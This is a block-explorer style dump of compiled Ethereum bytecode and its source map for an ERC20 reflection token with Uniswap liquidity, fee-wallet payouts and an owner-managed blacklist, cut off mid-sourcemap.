384529091529020549190610dff565b610a23565b5060019392505050565b6000546001600160a01b031633146104925760405162461bcd60e51b815260040161048990611754565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b0316146104d357600080fd5b476104dd81610e39565b50565b6001600160a01b0381166000908152600260205260408120546103f090610ebe565b6000546001600160a01b0316331461052c5760405162461bcd60e51b815260040161048990611754565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461059657600080fd5b600a55565b60006103ec338484610b47565b6000546001600160a01b031633146105d25760405162461bcd60e51b815260040161048990611754565b60005b81518110156106815760105482516001600160a01b039091169083908390811061060157610601611789565b60200260200101516001600160a01b03161461066f5760016007600084848151811061062f5761062f611789565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610679816117b5565b9150506105d5565b5050565b600d546001600160a01b0316336001600160a01b0316146106a557600080fd5b60006106b0306104e0565b90506104dd81610f42565b6000546001600160a01b031633146106e55760405162461bcd60e51b815260040161048990611754565b601054600160a01b900460ff161561073f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610489565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561077c3082683635c9adc5dea00000610a23565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107de91906117d0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f91906117d0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561089c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c091906117d0565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306108f0816104e0565b6000806109056000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561096d573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099291906117ed565b5050601080546001600160a01b039081166000908152600560209081526040808320600d549094168352929052206000199055805462ff00ff60a01b19166201000160a01b179055505067d02ab486cedc0000601155565b6000546001600160a01b03163314610a145760405162461bcd60e51b815260040161048990611754565b683635c9adc5dea00000601155565b6001600160a01b038316610a855760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610489565b6001600160a01b038216610ae65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610489565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bab5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610489565b6001600160a01b038216610c0d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610489565b60008111610c6f5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610489565b6001600160a01b03831660009081526007602052604090205460ff16158015610cb157506001600160a01b03821660009081526007602052604090205460ff16155b610cba57600080fd5b6010546001600160a01b03848116911614610d0e576000610cec600a546001610ce3919061181b565b600b54906110bc565b1115610d00576001600b55600c8055610d51565b6001600b55600c8055610d51565b6001600160a01b038216600090815260046020526040902054610d47576001600160a01b03821660009081526004602052604090204290555b6001600b55600c80555b6000546001600160a01b03848116911614801590610d7d57506000546001600160a01b03838116911614155b15610def576000610d8d306104e0565b601054909150600160a81b900460ff16158015610db857506010546001600160a01b03858116911614155b8015610dcd5750601054600160b01b900460ff165b15610ded57610ddb81610f42565b478015610deb57610deb47610e39565b505b505b610dfa8383836110fe565b505050565b60008184841115610e235760405162461bcd60e51b81526004016104899190611523565b506000610e30848661181b565b95945050505050565b600d546001600160a01b03166108fc610e538360026110bc565b6040518115909202916000818181858888f19350505050158015610e7b573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610e968360026110bc565b6040518115909202916000818181858888f19350505050158015610681573d6000803e3d6000fd5b6000600854821115610f255760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610489565b6000610f2f611109565b9050610f3b83826110bc565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f8a57610f8a611789565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fe3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100791906117d0565b8160018151811061101a5761101a611789565b6001600160a01b039283166020918202929092010152600f546110409130911684610a23565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611079908590600090869030904290600401611832565b600060405180830381600087803b15801561109357600080fd5b505af11580156110a7573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b6000610f3b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061112c565b610dfa83838361115a565b6000806000611116611251565b909250905061112582826110bc565b9250505090565b6000818361114d5760405162461bcd60e51b81526004016104899190611523565b506000610e3084866118a3565b60008060008060008061116c87611293565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061119e90876112f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546111cd9086611332565b6001600160a01b0389166000908152600260205260409020556111ef81611391565b6111f984836113db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161123e91815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea0000061126d82826110bc565b82101561128a57505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006112b08a600b54600c546113ff565b92509250925060006112c0611109565b905060008060006112d38e878787611454565b919e509c509a509598509396509194505050505091939550919395565b6000610f3b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dff565b60008061133f83856118c5565b905083811015610f3b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610489565b600061139b611109565b905060006113a983836114a4565b306000908152600260205260409020549091506113c69082611332565b30600090815260026020526040902055505050565b6008546113e890836112f0565b6008556009546113f89082611332565b6009555050565b6000808080611419606461141389896114a4565b906110bc565b9050600061142c60646114138a896114a4565b905060006114448261143e8b866112f0565b906112f0565b9992985090965090945050505050565b600080808061146388866114a4565b9050600061147188876114a4565b9050600061147f88886114a4565b905060006114918261143e86866112f0565b939b939a50919850919650505050505050565b6000826114b3575060006103f0565b60006114bf83856118dd565b9050826114cc85836118a3565b14610f3b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610489565b600060208083528351808285015260005b8181101561155057858101830151858201604001528201611534565b81811115611562576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104dd57600080fd5b803561159881611578565b919050565b600080604083850312156115b057600080fd5b82356115bb81611578565b946020939093013593505050565b6000806000606084860312156115de57600080fd5b83356115e981611578565b925060208401356115f981611578565b929592945050506040919091013590565b60006020828403121561161c57600080fd5b8135610f3b81611578565b60006020828403121561163957600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561166957600080fd5b823567ffffffffffffffff8082111561168157600080fd5b818501915085601f83011261169557600080fd5b8135818111156116a7576116a7611640565b8060051b604051601f19603f830116810181811085821117156116cc576116cc611640565b6040529182528482019250838101850191888311156116ea57600080fd5b938501935b8285101561170f576117008561158d565b845293850193928501926116ef565b98975050505050505050565b6000806040838503121561172e57600080fd5b823561173981611578565b9150602083013561174981611578565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156117c9576117c961179f565b5060010190565b6000602082840312156117e257600080fd5b8151610f3b81611578565b60008060006060848603121561180257600080fd5b8351925060208401519150604084015190509250925092565b60008282101561182d5761182d61179f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118825784516001600160a01b03168352938301939183019160010161185d565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118c057634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118d8576118d861179f565b500190565b60008160001904831182151516156118f7576118f761179f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a7d2a101cbd989f8ee8d364570745a791c50cfdf7aff38a80644a2c42ed46c564736f6c634300080b0033

Deployed Bytecode Sourcemap

3648:10722:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5621:83;;;;;;;;;;-1:-1:-1;5691:5:0;;;;;;;;;;;;-1:-1:-1;;;5691:5:0;;;;5621:83;;;;;;;:::i;:::-;;;;;;;;6327:161;;;;;;;;;;-1:-1:-1;6327:161:0;;;;;:::i;:::-;;:::i;:::-;;;1376:14:1;;1369:22;1351:41;;1339:2;1324:18;6327:161:0;1211:187:1;5898:95:0;;;;;;;;;;-1:-1:-1;4154:12:0;5898:95;;;1549:25:1;;;1537:2;1522:18;5898:95:0;1403:177:1;7864:313:0;;;;;;;;;;-1:-1:-1;7864:313:0;;;;;:::i;:::-;;:::i;11358:88::-;;;;;;;;;;-1:-1:-1;11358:88:0;;;;;:::i;:::-;;:::i;:::-;;5807:83;;;;;;;;;;-1:-1:-1;5807:83:0;;4730:1;2440:36:1;;2428:2;2413:18;5807:83:0;2298:184:1;13199:194:0;;;;;;;;;;;;;:::i;7227:138::-;;;;;;;;;;-1:-1:-1;7227:138:0;;;;;:::i;:::-;;:::i;2727:148::-;;;;;;;;;;;;;:::i;2513:79::-;;;;;;;;;;-1:-1:-1;2551:7:0;2578:6;2513:79;;-1:-1:-1;;;;;2578:6:0;;;2633:51:1;;2621:2;2606:18;2513:79:0;2487:203:1;12520:137:0;;;;;;;;;;-1:-1:-1;12520:137:0;;;;;:::i;:::-;;:::i;5712:87::-;;;;;;;;;;-1:-1:-1;5784:7:0;;;;;;;;;;;;-1:-1:-1;;;5784:7:0;;;;5712:87;;6001:167;;;;;;;;;;-1:-1:-1;6001:167:0;;;;;:::i;:::-;;:::i;10998:229::-;;;;;;;;;;-1:-1:-1;10998:229:0;;;;;:::i;:::-;;:::i;13411:195::-;;;;;;;;;;;;;:::i;9713:777::-;;;;;;;;;;;;;:::i;7103:116::-;;;;;;;;;;-1:-1:-1;7103:116:0;;;;;:::i;:::-;-1:-1:-1;;;;;7195:16:0;7168:7;7195:16;;;:7;:16;;;;;;;7103:116;6176:143;;;;;;;;;;-1:-1:-1;6176:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6284:18:0;;;6257:7;6284:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6176:143;11616:94;;;;;;;;;;;;;:::i;6327:161::-;6402:4;6419:39;311:10;6442:7;6451:6;6419:8;:39::i;:::-;-1:-1:-1;6476:4:0;6327:161;;;;;:::o;7864:313::-;7962:4;7979:36;7989:6;7997:9;8008:6;7979:9;:36::i;:::-;8026:121;8035:6;311:10;8057:89;8095:6;8057:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8057:19:0;;;;;;:11;:19;;;;;;;;311:10;8057:33;;;;;;;;;;:37;:89::i;:::-;8026:8;:121::i;:::-;-1:-1:-1;8165:4:0;7864:313;;;;;:::o;11358:88::-;2640:6;;-1:-1:-1;;;;;2640:6:0;311:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;11418:12:0::1;11433:5;11418:12:::0;;;:4:::1;:12;::::0;;;;:20;;-1:-1:-1;;11418:20:0::1;::::0;;11358:88::o;13199:194::-;13265:15;;-1:-1:-1;;;;;13265:15:0;311:10;-1:-1:-1;;;;;13249:31:0;;13241:40;;;;;;13321:21;13353:32;13321:21;13353:12;:32::i;:::-;13230:163;13199:194::o;7227:138::-;-1:-1:-1;;;;;7340:16:0;;7293:7;7340:16;;;:7;:16;;;;;;7320:37;;:19;:37::i;2727:148::-;2640:6;;-1:-1:-1;;;;;2640:6:0;311:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;2834:1:::1;2818:6:::0;;2797:40:::1;::::0;-1:-1:-1;;;;;2818:6:0;;::::1;::::0;2797:40:::1;::::0;2834:1;;2797:40:::1;2865:1;2848:19:::0;;-1:-1:-1;;;;;;2848:19:0::1;::::0;;2727:148::o;12520:137::-;12604:15;;-1:-1:-1;;;;;12604:15:0;311:10;-1:-1:-1;;;;;12588:31:0;;12580:40;;;;;;12631:8;:18;12520:137::o;6001:167::-;6079:4;6096:42;311:10;6120:9;6131:6;6096:9;:42::i;10998:229::-;2640:6;;-1:-1:-1;;;;;2640:6:0;311:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;11072:6:::1;11067:153;11088:5;:12;11084:1;:16;11067:153;;;11138:13;::::0;11126:8;;-1:-1:-1;;;;;11138:13:0;;::::1;::::0;11126:5;;11132:1;;11126:8;::::1;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;11126:25:0::1;;11122:87;;11189:4;11172;:14;11177:5;11183:1;11177:8;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;11172:14:0::1;-1:-1:-1::0;;;;;11172:14:0::1;;;;;;;;;;;;;:21;;;;;;;;;;;;;;;;;;11122:87;11102:3:::0;::::1;::::0;::::1;:::i;:::-;;;;11067:153;;;;10998:229:::0;:::o;13411:195::-;13477:15;;-1:-1:-1;;;;;13477:15:0;311:10;-1:-1:-1;;;;;13461:31:0;;13453:40;;;;;;13504:23;13530:24;13548:4;13530:9;:24::i;:::-;13504:50;;13565:33;13582:15;13565:16;:33::i;9713:777::-;2640:6;;-1:-1:-1;;;;;2640:6:0;311:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;9777:11:::1;::::0;-1:-1:-1;;;9777:11:0;::::1;;;9776:12;9768:47;;;::::0;-1:-1:-1;;;9768:47:0;;5498:2:1;9768:47:0::1;::::0;::::1;5480:21:1::0;5537:2;5517:18;;;5510:30;5576:25;5556:18;;;5549:53;5619:18;;9768:47:0::1;5296:347:1::0;9768:47:0::1;9937:15;:34:::0;;-1:-1:-1;;;;;;9937:34:0::1;9883:42;9937:34:::0;;::::1;::::0;;;9982:58:::1;9999:4;9883:42:::0;4154:12:::1;9982:8;:58::i;:::-;10085:16;-1:-1:-1::0;;;;;10085:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10067:56:0::1;;10132:4;10139:16;-1:-1:-1::0;;;;;10139:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10067:96;::::0;-1:-1:-1;;;;;;10067:96:0::1;::::0;;;;;;-1:-1:-1;;;;;6134:15:1;;;10067:96:0::1;::::0;::::1;6116:34:1::0;6186:15;;6166:18;;;6159:43;6051:18;;10067:96:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10051:13;:112:::0;;-1:-1:-1;;;;;;10051:112:0::1;-1:-1:-1::0;;;;;10051:112:0;;::::1;;::::0;;10174:15:::1;::::0;::::1;:31;10213:21;10244:4;10250:24;10244:4:::0;10250:9:::1;:24::i;:::-;10275:1;10277::::0;10279:7:::1;2551::::0;2578:6;-1:-1:-1;;;;;2578:6:0;;2513:79;10279:7:::1;10174:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10174:129:0;;;-1:-1:-1;;;;;6572:15:1;;;10174:129:0::1;::::0;::::1;6554:34:1::0;6604:18;;;6597:34;;;;6647:18;;;6640:34;;;;6690:18;;;6683:34;6754:15;;;6733:19;;;6726:44;10287:15:0::1;6786:19:1::0;;;6779:35;6488:19;;10174:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10326:13:0::1;::::0;;-1:-1:-1;;;;;10326:13:0;;::::1;10314:26;::::0;;;:11:::1;:26;::::0;;;;;;;10341:15:::1;::::0;;;::::1;10314:43:::0;;;;;;-1:-1:-1;;10314:63:0;;10388:18;;-1:-1:-1;;;;10417:18:0;-1:-1:-1;;;10417:18:0;;;-1:-1:-1;;10461:21:0::1;10446:12;:36:::0;9713:777::o;11616:94::-;2640:6;;-1:-1:-1;;;;;2640:6:0;311:10;2640:22;2632:67;;;;-1:-1:-1;;;2632:67:0;;;;;;;:::i;:::-;11690:12:::1;11675;:27:::0;11616:94::o;6496:335::-;-1:-1:-1;;;;;6589:19:0;;6581:68;;;;-1:-1:-1;;;6581:68:0;;7338:2:1;6581:68:0;;;7320:21:1;7377:2;7357:18;;;7350:30;7416:34;7396:18;;;7389:62;-1:-1:-1;;;7467:18:1;;;7460:34;7511:19;;6581:68:0;7136:400:1;6581:68:0;-1:-1:-1;;;;;6668:21:0;;6660:68;;;;-1:-1:-1;;;6660:68:0;;7743:2:1;6660:68:0;;;7725:21:1;7782:2;7762:18;;;7755:30;7821:34;7801:18;;;7794:62;-1:-1:-1;;;7872:18:1;;;7865:32;7914:19;;6660:68:0;7541:398:1;6660:68:0;-1:-1:-1;;;;;6739:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6791:32;;1549:25:1;;;6791:32:0;;1522:18:1;6791:32:0;;;;;;;6496:335;;;:::o;8189:1311::-;-1:-1:-1;;;;;8277:18:0;;8269:68;;;;-1:-1:-1;;;8269:68:0;;8146:2:1;8269:68:0;;;8128:21:1;8185:2;8165:18;;;8158:30;8224:34;8204:18;;;8197:62;-1:-1:-1;;;8275:18:1;;;8268:35;8320:19;;8269:68:0;7944:401:1;8269:68:0;-1:-1:-1;;;;;8356:16:0;;8348:64;;;;-1:-1:-1;;;8348:64:0;;8552:2:1;8348:64:0;;;8534:21:1;8591:2;8571:18;;;8564:30;8630:34;8610:18;;;8603:62;-1:-1:-1;;;8681:18:1;;;8674:33;8724:19;;8348:64:0;8350:399:1;8348:64:0;8440:1;8431:6;:10;8423:64;;;;-1:-1:-1;;;8423:64:0;;8956:2:1;8423:64:0;;;8938:21:1;8995:2;8975:18;;;8968:30;9034:34;9014:18;;;9007:62;-1:-1:-1;;;9085:18:1;;;9078:39;9134:19;;8423:64:0;8754:405:1;8423:64:0;-1:-1:-1;;;;;8507:10:0;;;;;;:4;:10;;;;;;;;8506:11;:24;;;;-1:-1:-1;;;;;;8522:8:0;;;;;;:4;:8;;;;;;;;8521:9;8506:24;8498:33;;;;;;11329:13;;-1:-1:-1;;;;;11318:24:0;;;11329:13;;11318:24;8544:426;;8612:1;8582:27;8600:8;;8596:1;:12;;;;:::i;:::-;8582:9;;;:13;:27::i;:::-;:31;8578:206;;;8647:1;8635:9;:13;8679:2;8667:14;;8544:426;;8578:206;8734:1;8722:9;:13;8766:2;8754:14;;8544:426;;;-1:-1:-1;;;;;8820:11:0;;;;;;:7;:11;;;;;;8816:86;;-1:-1:-1;;;;;8857:11:0;;;;;;:7;:11;;;;;8871:15;8857:29;;8816:86;8928:1;8916:9;:13;8956:2;8944:14;;8544:426;2551:7;2578:6;-1:-1:-1;;;;;8994:15:0;;;2578:6;;8994:15;;;;:32;;-1:-1:-1;2551:7:0;2578:6;-1:-1:-1;;;;;9013:13:0;;;2578:6;;9013:13;;8994:32;8990:452;;;9043:28;9074:24;9092:4;9074:9;:24::i;:::-;9118:6;;9043:55;;-1:-1:-1;;;;9118:6:0;;;;9117:7;:32;;;;-1:-1:-1;9136:13:0;;-1:-1:-1;;;;;9128:21:0;;;9136:13;;9128:21;;9117:32;:47;;;;-1:-1:-1;9153:11:0;;-1:-1:-1;;;9153:11:0;;;;9117:47;9113:318;;;9185:38;9202:20;9185:16;:38::i;:::-;9271:21;9314:22;;9311:105;;9361:35;9374:21;9361:12;:35::i;:::-;9166:265;9113:318;9028:414;8990:452;9462:30;9477:4;9482:2;9485:6;9462:14;:30::i;:::-;8189:1311;;;:::o;1368:190::-;1454:7;1490:12;1482:6;;;;1474:29;;;;-1:-1:-1;;;1474:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1514:9:0;1526:5;1530:1;1526;:5;:::i;:::-;1514:17;1368:190;-1:-1:-1;;;;;1368:190:0:o;9516:154::-;9573:15;;-1:-1:-1;;;;;9573:15:0;:39;9598:13;:6;9609:1;9598:10;:13::i;:::-;9573:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;9623:15:0;;-1:-1:-1;;;;;9623:15:0;:39;9648:13;:6;9659:1;9648:10;:13::i;:::-;9623:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6841:254;6908:7;6947;;6936;:18;;6928:73;;;;-1:-1:-1;;;6928:73:0;;9496:2:1;6928:73:0;;;9478:21:1;9535:2;9515:18;;;9508:30;9574:34;9554:18;;;9547:62;-1:-1:-1;;;9625:18:1;;;9618:40;9675:19;;6928:73:0;9294:406:1;6928:73:0;7012:19;7035:10;:8;:10::i;:::-;7012:33;-1:-1:-1;7063:24:0;:7;7012:33;7063:11;:24::i;:::-;7056:31;6841:254;-1:-1:-1;;;6841:254:0:o;7373:483::-;5063:6;:13;;-1:-1:-1;;;;5063:13:0;-1:-1:-1;;;5063:13:0;;;7475:16:::1;::::0;;7489:1:::1;7475:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7475:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7475:16:0::1;7451:40;;7520:4;7502;7507:1;7502:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7502:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7546:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7546:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7502:7;;7546:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7536:4;7541:1;7536:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7536:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7611:15:::1;::::0;7579:62:::1;::::0;7596:4:::1;::::0;7611:15:::1;7629:11:::0;7579:8:::1;:62::i;:::-;7652:15;::::0;:196:::1;::::0;-1:-1:-1;;;7652:196:0;;-1:-1:-1;;;;;7652:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7733:11;;7652:15:::1;::::0;7775:4;;7802::::1;::::0;7822:15:::1;::::0;7652:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5099:6:0;:14;;-1:-1:-1;;;;5099:14:0;;;-1:-1:-1;;;;7373:483:0:o;1820:132::-;1878:7;1905:39;1909:1;1912;1905:39;;;;;;;;;;;;;;;;;:3;:39::i;11462:146::-;11556:44;11574:6;11582:9;11593:6;11556:17;:44::i;12665:163::-;12706:7;12727:15;12744;12763:19;:17;:19::i;:::-;12726:56;;-1:-1:-1;12726:56:0;-1:-1:-1;12800:20:0;12726:56;;12800:11;:20::i;:::-;12793:27;;;;12665:163;:::o;1960:189::-;2046:7;2081:12;2074:5;2066:28;;;;-1:-1:-1;;;2066:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2105:9:0;2117:5;2121:1;2117;:5;:::i;10498:488::-;10597:15;10614:23;10639:12;10653:23;10678:12;10692:13;10709:19;10720:7;10709:10;:19::i;:::-;-1:-1:-1;;;;;10757:15:0;;;;;;:7;:15;;;;;;10596:132;;-1:-1:-1;10596:132:0;;-1:-1:-1;10596:132:0;;-1:-1:-1;10596:132:0;-1:-1:-1;10596:132:0;-1:-1:-1;10596:132:0;-1:-1:-1;10757:28:0;;10596:132;10757:19;:28::i;:::-;-1:-1:-1;;;;;10739:15:0;;;;;;;:7;:15;;;;;;:46;;;;10817:18;;;;;;;:39;;10840:15;10817:22;:39::i;:::-;-1:-1:-1;;;;;10796:18:0;;;;;;:7;:18;;;;;:60;10868:16;10878:5;10868:9;:16::i;:::-;10895:23;10907:4;10913;10895:11;:23::i;:::-;10951:9;-1:-1:-1;;;;;10934:44:0;10943:6;-1:-1:-1;;;;;10934:44:0;;10962:15;10934:44;;;;1549:25:1;;1537:2;1522:18;;1403:177;10934:44:0;;;;;;;;10585:401;;;;;;10498:488;;;:::o;14101:262::-;14198:7;;14151;;;;4154:12;14272:20;14198:7;4154:12;14272:11;:20::i;:::-;14262:7;:30;14258:61;;;-1:-1:-1;;14302:7:0;;;4154:12;;-1:-1:-1;14101:262:0;-1:-1:-1;14101:262:0:o;14258:61::-;14338:7;;14347;;-1:-1:-1;14101:262:0;-1:-1:-1;14101:262:0:o;13620:471::-;13679:7;13688;13697;13706;13715;13724;13745:23;13770:12;13784:13;13801:42;13813:7;13822:9;;13833;;13801:11;:42::i;:::-;13744:99;;;;;;13854:19;13877:10;:8;:10::i;:::-;13854:33;;13899:15;13916:23;13941:12;13957:46;13969:7;13978:4;13984:5;13991:11;13957;:46::i;:::-;13898:105;;-1:-1:-1;13898:105:0;-1:-1:-1;13898:105:0;-1:-1:-1;14054:15:0;;-1:-1:-1;14071:4:0;;-1:-1:-1;14077:5:0;;-1:-1:-1;;;;;13620:471:0;;;;;;;:::o;1224:136::-;1282:7;1309:43;1313:1;1316;1309:43;;;;;;;;;;;;;;;;;:3;:43::i;1037:179::-;1095:7;;1127:5;1131:1;1127;:5;:::i;:::-;1115:17;;1156:1;1151;:6;;1143:46;;;;-1:-1:-1;;;1143:46:0;;11247:2:1;1143:46:0;;;11229:21:1;11286:2;11266:18;;;11259:30;11325:29;11305:18;;;11298:57;11372:18;;1143:46:0;11045:351:1;12141:212:0;12194:19;12217:10;:8;:10::i;:::-;12194:33;-1:-1:-1;12238:13:0;12254:22;:5;12194:33;12254:9;:22::i;:::-;12328:4;12312:22;;;;:7;:22;;;;;;12238:38;;-1:-1:-1;12312:33:0;;12238:38;12312:26;:33::i;:::-;12303:4;12287:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;12141:212:0:o;12365:147::-;12443:7;;:17;;12455:4;12443:11;:17::i;:::-;12433:7;:27;12484:10;;:20;;12499:4;12484:14;:20::i;:::-;12471:10;:33;-1:-1:-1;;12365:147:0:o;12838:351::-;12931:7;;;;12984:28;13008:3;12984:19;:7;12996:6;12984:11;:19::i;:::-;:23;;:28::i;:::-;12969:43;-1:-1:-1;13023:13:0;13039:29;13064:3;13039:20;:7;13051;13039:11;:20::i;:29::-;13023:45;-1:-1:-1;13079:23:0;13105:28;13023:45;13105:17;:7;13117:4;13105:11;:17::i;:::-;:21;;:28::i;:::-;13079:54;13169:4;;-1:-1:-1;13175:5:0;;-1:-1:-1;12838:351:0;;-1:-1:-1;;;;;12838:351:0:o;11718:409::-;11828:7;;;;11884:24;:7;11896:11;11884;:24::i;:::-;11866:42;-1:-1:-1;11919:12:0;11934:21;:4;11943:11;11934:8;:21::i;:::-;11919:36;-1:-1:-1;11966:13:0;11982:22;:5;11992:11;11982:9;:22::i;:::-;11966:38;-1:-1:-1;12015:23:0;12041:28;11966:38;12041:17;:7;12053:4;12041:11;:17::i;:28::-;12088:7;;;;-1:-1:-1;12114:4:0;;-1:-1:-1;11718:409:0;;-1:-1:-1;;;;;;;11718:409:0:o;1566:246::-;1624:7;1648:6;1644:47;;-1:-1:-1;1678:1:0;1671:8;;1644:47;1701:9;1713:5;1717:1;1713;:5;:::i;:::-;1701:17;-1:-1:-1;1746:1:0;1737:5;1741:1;1701:17;1737:5;:::i;:::-;:10;1729:56;;;;-1:-1:-1;;;1729:56:0;;11776:2:1;1729:56:0;;;11758:21:1;11815:2;11795:18;;;11788:30;11854:34;11834:18;;;11827:62;-1:-1:-1;;;11905:18:1;;;11898:31;11946:19;;1729:56:0;11574:397:1;14:597;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;452:6;449:1;446:13;443:91;;;522:1;517:2;508:6;497:9;493:22;489:31;482:42;443:91;-1:-1:-1;595:2:1;574:15;-1:-1:-1;;570:29:1;555:45;;;;602:2;551:54;;14:597;-1:-1:-1;;;14:597:1:o;616: